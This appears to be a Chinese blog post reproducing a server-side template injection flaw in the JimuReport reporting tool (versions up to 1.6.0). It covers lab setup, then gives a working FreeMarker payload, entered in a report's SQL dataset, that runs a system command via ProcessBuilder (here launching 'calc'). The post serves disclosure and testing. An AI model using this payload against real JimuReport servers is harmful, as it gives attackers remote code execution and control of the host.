0x01 前言

jeecgboot积木报表系统jimureport(jmreport)是一款免费的数据可视化报表,含报表和大屏设计,像搭建积木一样在线设计报表!功能涵盖数据报表、打印设计、图表报表、大屏设计等。

微信图片_20230827200308_副本.png

jimureport ≤ v1.6.0 具有 SSTI(服务器端模板注入),攻击者可利用该漏洞远程执行任意代码,控制服务器权限。

0x02 漏洞影响

jimureport ≤ v1.6.0

0x03 环境搭建

环境要求:jdk+,MySQL

将jimureport.mysql5.7.create.sql文件导入数据库

微信图片_20230827200308_1_副本.png

修改配置文件application.yml(默认root/root)

微信图片_20230827200308_2_副本.png

运行bat文件,启动环境

微信图片_20230827200308_3_副本.png

环境启动成功!

微信图片_20230827200309_副本.png
访问地址:http://localhost:8085/jmreport/list
微信图片_20230827200309_1_副本.png

0x04 漏洞复现

新建图表

微信图片_20230827200309_2_副本.png

选择SQL数据集

微信图片_20230827200309_3_副本.png

EXP:

<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","calc").start ()}

在报表SQL中执行该PAYLOAD

微信图片_20230827200309_4_副本.png

命令执行成功!

微信图片_20230827200309_5_副本.png

0x05 修复方案

建议及时更新版本!

0x06 下载地址

https://lmpan.lmboke.com/JimuReport%20v1.5.8%E7%89%88%E6%9C%AC%E5%8F%91%E5%B8%83%28%E7%BB%BF%E8%89%B2%E5%85%8D%E5%AE%89%E8%A3%85%E7%89%88%29.zip